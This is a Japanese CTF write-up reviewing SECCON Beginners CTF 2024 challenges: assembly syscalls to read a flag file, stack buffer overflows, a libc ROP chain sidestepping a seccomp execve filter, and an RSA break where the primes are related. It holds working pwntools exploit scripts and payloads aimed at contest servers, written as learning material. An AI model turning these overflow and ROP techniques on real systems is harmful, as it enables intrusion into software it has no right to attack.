SECCON Beginners CTF 2024に参加した(復習編)
SECCON Beginners CTF 2024 の本番中に見られなかったり解けなかった問題のなかで気になるものを復習。
assemble (reverse: beginner)
reverseジャンルの最初の問題。参加したときには既にACされていたので本番中に見なかった。
問題の概要
WebアプリケーションのURLが与えられるのでアクセスすると、アセンブリ言語の練習ページが開く。

指示に従ってアセンブリを書くとflagがもらえる。
解法
Challenge 1. Please write 0x123 to RAX!
mov rax, 0x123
Challenge 2. Please write 0x123 to RAX and push it on stack!
mov rax, 0x123 push rax
Challenge 3. Please use syscall to print Hello on stdout!
mov rax, 0x1 ; writeのシステムコール番号 mov rdi, 0x1 ; 標準出力のファイルディスクリプタ mov rdx, 0x5 ; 文字数 mov rsi, 0x6f6c6c6548 ; "Hello" push rsi ; 文字列をスタックにpush mov rsi, rsp ; スタックポインタをロード syscall ; 呼び出し
Challenge 4. Please read flag.txt file and print it to stdout!
mov rsi, 0x0 ; 終端文字 push rsi; mov rsi, 0x7478742e67616c66 ; flag.txt push rsi mov rax, 0x2 ; openのシステムコール番号 mov rdi, rsp ; ファイル名のアドレス(スタックの先頭) mov rsi, 0x0 ; モード(O_RDONLY) syscall mov rdi, rax ; ファイルディスクリプタ mov rax, 0x0 ; readのシステムコール番号 mov rsi, rsp ; 読み込みバッファのアドレス(スタックの先頭) mov rdx, 0x100 ; 読み込みのサイズ syscall mov rdx, rax ; 書き込みのサイズ(=読み込んだサイズ) mov rdi, 0x1 ; 標準出力のファイルディスクリプタ mov rax, 0x1 ; writeのシステムコール番号 mov rsi, rsp ; 読み込みバッファのアドレス(スタックの先頭) syscall
Challenge 4に正解するとflagを入手できる。

感想
beginner問題にしては難しい気がした。 内容はアセンブリの基礎だが、システムコール番号と引数のレジスタを調べるのが意外と難しかったり、うまくいかなかったときにデバッグしづらいのが原因かもしれない。 正解数も2番目の問題より少なくなっていた。
simpleoverflow (pwnable: beginner)
pwnableジャンルの最初の問題。
問題の概要
ncの接続先情報と実行ファイル、さらにコンパイル前のソースコード(C言語)が与えられる。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { char buf[10] = {0}; int is_admin = 0; printf("name:"); read(0, buf, 0x10); printf("Hello, %s\n", buf); if (!is_admin) { puts("You are not admin. bye"); } else { system("/bin/cat ./flag.txt"); } return 0; } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(120); }
実行すると名前を聞かれ、入力するとメッセージとともに終了する
$ nc simpleoverflow.beginners.seccon.games 9000 name:takeo1116 Hello, takeo1116 You are not admin. bye
解法
10文字以上の名前を入力するとflagが出てくる。
$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaa
Hello, aaaaaaaaaa
ctf4b{0n_y0ur_m4rk}
入力を受け付けるbufのサイズが10であるのに対して、read関数で0x10 = 16文字を受け取っているため、メモリ上で隣り合っているis_adminのフラグが上書きされていると考えられる。
感想
reverseの1問目と比べると非常に簡単だと思った。
simpleoverwrite (pwnable: easy)
問題の概要
ncの接続先情報と実行ファイル、さらにコンパイル前のソースコード(C言語)が与えられる。
#include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> void win() { char buf[100]; FILE *f = fopen("./flag.txt", "r"); fgets(buf, 100, f); puts(buf); } int main() { char buf[10] = {0}; printf("input:"); read(0, buf, 0x20); printf("Hello, %s\n", buf); printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18)); return 0; } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(120); }
実行すると入力を求められ、メッセージとともにリターンアドレスを出力して終了する。
$ nc simpleoverwrite.beginners.seccon.games 9001 input:test Hello, test return to: 0x7f055802d1ca
解法
ソースコードにwin関数があるので、リターンアドレスをwin関数のアドレスに書き換えることを考える。 長い文字列を入力するとBOFによってリターンアドレスが書き換えられていることがわかるので、win関数のアドレスを調べて入力するだけでよい。
$ nc simpleoverwrite.beginners.seccon.games 9001 input:abcdefghijklmnopqrstuvwxyz Hello, abcdefghijklmnopqrstuvwxyz return to: 0x7a79787776757473
from pwn import * binary = ELF("./chall") context.binary = binary win = binary.symbols["win"] print p64(win) p = remote("simpleoverwrite.beginners.seccon.games", 9001) p.recvuntil("input:") p.sendline("a"*18 + p64(win)) p.interactive()
$ python2 exploit.py
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/simpleoverwrite/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
\x86\x11@\x00\x00\x00\x00\x00
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[*] Switching to interactive mode
Hello, aaaaaaaaaaaaaaaaaa\x86\x11@
return to: 0x401186
ctf4b{B3l13v3_4g41n}
[*] Got EOF while reading in interactive
$
感想
オーソドックスな問題。
gachi-rop (pwnable: medium)
pwnableの4問目。問題名からしてROPの問題だと思われる。 ROP は以前に練習したので誰も解かなかったら行こうと思っていたが、チームメイトが解いてくれたので本番中は問題を見ていない。
問題の概要
ncの接続先情報と実行ファイルが与えられる。
実行するとメモリアドレスのようなものが表示され、名前を聞かれる。 入力するとメッセージが表示され終了する。
$ ./gachi-rop system@0x7f4489d67d70 Name: takeo1116 Hello, gachi-rop-takeo1116!!
解法
とりあえず、長い名前を入力すると異常終了することを確認。BOFが出来そうな感じがする。
$ ./gachi-rop system@0x7f19d2a53d70 Name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Hello, gachi-rop-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!! Segmentation fault
GDBで調べたところ、25文字目以降がRET命令のリターンアドレスに上書きされるようだ。
さらに、checksecでNX enabledであることを確認(スタック領域のコードを実行できないため、shellcodeで解けない)
$ checksec --file=gachi-rop RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 46) Symbols No 0 2gachi-rop
ROPで解くつもりなので、rp++を使って使えそうなガジェットを探す。……が、全然なくて詰む。
$ ./rp-lin-x64 --file=gachi-rop --rop=7 | grep "pop" 0x0040116b: add byte [rcx], al ; pop rbp ; ret ; (1 found) 0x00401168: imul ebp, dword [rdi], 0x00 ; add byte [rcx], al ; pop rbp ; ret ; (1 found) 0x00401166: mov byte [0x00000000004040D8], 0x00000001 ; pop rbp ; ret ; (1 found) 0x004012ec: nop ; pop rbp ; ret ; (1 found) 0x0040116d: pop rbp ; ret ; (1 found) 0x004012ed: pop rbp ; ret ; (1 found)
バイナリ自体が短いためret命令の数が少なく、raxレジスタに任意の値を入れることすら簡単にはできそうになかった。
色々な人のwriteupなどを調べたところ、この問題の構造は以下のようになっているとのことだった。
- gachi-rop(実行ファイル)は内部で付属のlibc.so.6ファイルをロードしているので、libc.so.6ファイルからROPガジェットを取り出すことができる
- execve, execveatシステムコールの実行が禁止されているので、簡単にはシェルを開けない
- サーバ上に置かれているflagはファイル名が暗号化されており、ファイル名を知る必要がある
execveが禁止されていることはseccomp-toolsで確認できる
$ seccomp-tools dump ./gachi-rop line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0007 0004: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0007 0005: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
flagについては、例によってサーバが閉じてしまっているので本番と同じパス、内容でローカルに用意した(ディレクトリ名は付属のdockerfileから確認可能だが、ファイル名は分からない)
$ ls ./ctf4b/ dummy.txt flag-40ff81b29993c8fc02dbf404eddaf143.txt
これを使ってもう一度解いてみる。
まずはflagのファイル名を知る必要があるので、OPEN->GETENTS->WRITEの3つの命令を使ってctf4bディレクトリ内のファイルを表示する。
libc.so.6ファイル上での各命令のアドレスと実行時に命令がロードされるアドレスはズレがあるため、それを補正する必要がある。 ./gachi-ropを実行するとsystem関数がロードされているアドレスが表示されるので、これとlibcファイル内のsystem関数のアドレスの差分がlibcのベースアドレスである。
このことに注意して、以下のように書いてみた。
# coding: utf-8 from pwn import * exe = ELF("./gachi-rop") libc = ELF("./libc.so.6") context.binary = exe p = process("./gachi-rop") # gdb.attach(p) system_addr = int(p.recvline().split(b"@")[1], 16) libc_base_address = system_addr - libc.symbols["system"] print(hex(libc_base_address)) pop_rax = 0x00045eb0 + libc_base_address pop_rdi = 0x0002a3e5 + libc_base_address pop_rsi = 0x0002be51 + libc_base_address pop_rcx = 0x0003d1ee + libc_base_address pop_rdx_pop_r12 = 0x0011f2e7 + libc_base_address xchg_eax_edi = 0x0014a1b5 + libc_base_address xchg_eax_edx = 0x001b859a + libc_base_address mov_qword_rdi_rcx = 0x000bfc76 + libc_base_address syscall = 0x00091316 + libc_base_address bss_section = exe.bss() addr_path = bss_section addr_buffer = bss_section + 64 payload = b"" # ディレクトリのパスをBSSに書き込む payload += flat([ pop_rdi, addr_path, # 書き込むアドレスをロード pop_rcx, b"ctf4b/\00\00", # mov_qword_rdi_rcx, # アドレスを書き込む ]) # OPEN payload += flat([ pop_rax, 0x2, # システムコール番号 pop_rdi, addr_path, # ディレクトリのアドレス pop_rsi, 0x0, # O_RDONLY pop_rdx_pop_r12, 0x02000000, 0xDEADBEEF, # O_DIRECTORY syscall, ]) # GETDENTS payload += flat([ xchg_eax_edi, # raxのファイルディスクリプタをrdiに pop_rax, 0x4e, # システムコール番号 pop_rsi, addr_buffer, # 書き込むバッファのアドレス pop_rdx_pop_r12, 0x100, 0xDEADBEEF, # 読み込むバイト数 syscall, ]) # WRITE payload += flat([ xchg_eax_edx, # raxの読み込みサイズをrdxに pop_rax, 0x1, # システムコール番号 pop_rdi, 0x1, # 標準出力のファイルディスクリプタ pop_rsi, addr_buffer, # 読み込むバッファのアドレス syscall, ]) p.recvuntil("Name:") p.sendline(b"a" * 24 + payload) p.interactive()
これを実行すると
$ python3 solve1.py
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/gachi-rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './gachi-rop': pid 752553
0x75869865b000
/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/solve1.py:68: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Name:")
[*] Switching to interactive mode
Hello, gachi-rop-aaaaaaaaaaaaaaaaaaaaaaaa\xe5Sh\x98\x86u!!
\x9c\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x18\x00.\x00\x00\x00\x00\x04\x9c\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x18\x00..\x00\x00\x00\x04L\xc8\x00\x00\x00\xd6\x03\x00\x00\x00\x00\x00\x00\x00 \x00dummy.txt\x00\x00\x00\x0\xfce\x11\x04\x00\x00\x00\x00\x00\x00\x00@\x00flag-40ff81b29993c8fc02dbf404eddaf143.txt\x00\[*] Got EOF while reading in interactive
$
[*] Process './gachi-rop' stopped with exit code -11 (SIGSEGV) (pid 752553)
[*] Got EOF while sending in interactive
となり、flag-40ff81b29993c8fc02dbf404eddaf143.txtというファイル名が見えている。
これでflagのファイル名が分かった(という体)ので、今度はOPEN->READ->WRITEを使って中身を表示すればOK。 これはassemble(reverseの1問目)でやったことと同じである。
payload = b"" # ファイルパスをBSSに書き込む path = b"ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt\00" for idx in range(6): partial_path = path[idx*8:idx*8+8] # 8バイトずつ payload += flat([ pop_rdi, addr_path + idx*8, pop_rcx, partial_path, mov_qword_rdi_rcx, ]) # OPEN payload += flat([ pop_rax, 0x2, # システムコール番号 pop_rdi, addr_path, # ファイルのアドレス pop_rsi, 0x0, # O_RDONLY syscall, ]) # READ payload += flat([ xchg_eax_edi, # raxのファイルディスクリプタをrdiに pop_rax, 0x0, # システムコール番号 pop_rsi, addr_buffer, # 書き込むバッファのアドレス pop_rdx_pop_r12, 0x100, 0xDEADBEEF, # 読み込みのサイズ syscall, ]) # WRITE payload += flat([ xchg_eax_edx, # raxの読み込みサイズをrdxに pop_rax, 0x1, # システムコール番号 pop_rdi, 0x1, # 標準出力のファイルディスクリプタ pop_rsi, addr_buffer, # 読み込むバッファのアドレス syscall, ])
上のpayloadを使って実行すると、無事flagの中身を見ることができた。
$ python3 solve2.py
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/gachi-rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './gachi-rop': pid 753080
0x7854d3faa000
/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/solve2.py:70: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Name:")
[*] Switching to interactive mode
Hello, gachi-rop-aaaaaaaaaaaaaaaaaaaaaaaa\xe5C\xfd\xd3Tx!!
ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}[*] Got EOF while reading in interactive
$
[*] Process './gachi-rop' stopped with exit code -11 (SIGSEGV) (pid 753080)
[*] Got EOF while sending in interactive
感想
普通にライブラリ周りの知識が抜けていた。 他の人のwriteupを見ると洗練された書き方などが分かるので役に立つ。
Safe Prime (crypto: beginner)
cryptoジャンルの1問目。 いままでのコンテストではcryptoはすべて他の人に任せていたので、入門として自分でも解いてみることにした。
問題の概要
import os from Crypto.Util.number import getPrime, isPrime FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode() m = int.from_bytes(FLAG, 'big') while True: p = getPrime(512) q = 2 * p + 1 if isPrime(q): break n = p * q e = 65537 c = pow(m, e, n) print(f"{n = }") print(f"{c = }")
さらに、テキストファイルが同梱されている
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291 c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
RSA暗号について
そもそもRSA暗号のことをよく分かってないので調べに行く。
- 2つの素数
を用意して、
とする
を計算する
と互いに素な数
を設定し、
となるような
を計算する
ここで、公開鍵はであり、秘密鍵は
となる。
平文があるとき、暗号文
は
と計算され、逆に
で復号できる。
RSA暗号はの素因数分解が非常に難しいという事実によって安全性を担保しており、もし攻撃者によって
が知られてしまうと簡単に秘密鍵
を計算され、復号されてしまう。
解法
この問題では2つの素数にという関係性があり、さらにそのことが攻撃者に知られているという状況が通常と異なる点である。
この状況下ではであり、二分探索することで現実的な時間で
を求めることが可能である。
が分かったら
が分かるので
が計算でき、
かつより拡張ユークリッドの互除法を用いて
を求められる。
# coding: utf-8 e = 65537 n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291 c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861 # 二分探索 # n = p * (2p+1) leq, gt = 2, int(1e300) while gt - leq > 1: p = (leq + gt) // 2 if p * (2*p+1) <= n: leq = p else: gt = p p = leq q = 2 * p + 1 print(f"p = {p}") print(f"q = {q}") phi = (p - 1) * (q - 1) # 拡張ユークリッドの互除法 def exteuc(a, b): if b == 0: return 1, 0 else: x, y = exteuc(b, a%b) return y, x - a // b * y # de - kφ = 1 d, mk = exteuc(e, phi) print(f"d = {d}") m = pow(c, d, n) print(m.to_bytes(61, "big"))
$ python3 solve.py
p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393
q = 24204436264185577966152241655321586605545908425640405725590304366053454914606936594835740838118227388576760387067687161038760478225414407301065328481868787
d = 39708359129641443307492926100992797066513141179030677891758514628508737985246704498466008928936892308997404004807565975772999777485812695283579245196783778323738791447502633741922324004329254388584281471915351492843056669699641816744092900248208019906808318158844028513688595509549095747037229327819378712257
b'ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}'
感想
普通に勉強になる。 競プロっぽい知識を意外と忘れていることに気づく。